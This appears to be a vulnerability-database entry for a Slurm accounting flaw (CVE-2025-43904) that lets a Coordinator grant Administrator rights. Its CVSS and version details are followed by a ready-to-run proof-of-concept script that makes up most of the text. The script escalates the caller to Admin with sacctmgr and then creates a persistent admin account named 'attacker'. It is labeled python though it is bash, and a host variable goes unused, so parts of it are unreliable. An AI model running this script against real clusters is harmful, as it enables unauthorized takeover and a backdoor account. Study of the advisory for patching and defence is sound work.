In SchedMD Slurm before 24.11.5, 24.05.8, and 23.11.11, the accounting system can allow a Coordinator to promote a user to Administrator.
CVSS Details
CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
SchedMD Slurm < 24.11.5
SchedMD Slurm < 24.05.8
SchedMD Slurm < 23.11.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash
# CVE-2025-43904 PoC - Slurm Coordinator Privilege Escalation
# Requirements: Valid Coordinator account on vulnerable Slurm instance
SLURM_USER="coordinator_user"
TARGET_USER="attacker"
SLURMCTRLD_HOST="slurm-controller.local"
# Step 1: Verify current user has Coordinator role
echo "[+] Checking Coordinator privileges..."
sacctmgr -i show user $SLURM_USER format=AdminLevel
# Step 2: Attempt to escalate privileges to Administrator
echo "[+] Attempting privilege escalation..."
sacctmgr -i modify user where name=$SLURM_USER set AdminLevel=Admin
# Step 3: Verify privilege escalation
echo "[+] Verifying new privileges..."
sacctmgr -i show user $SLURM_USER format=AdminLevel
# Step 4: Create new admin user for persistence
echo "[+] Creating persistent admin user..."
sacctmgr -i create user name=$TARGET_USER admin=admin
echo "[!] If successful, $SLURM_USER now has Administrator privileges"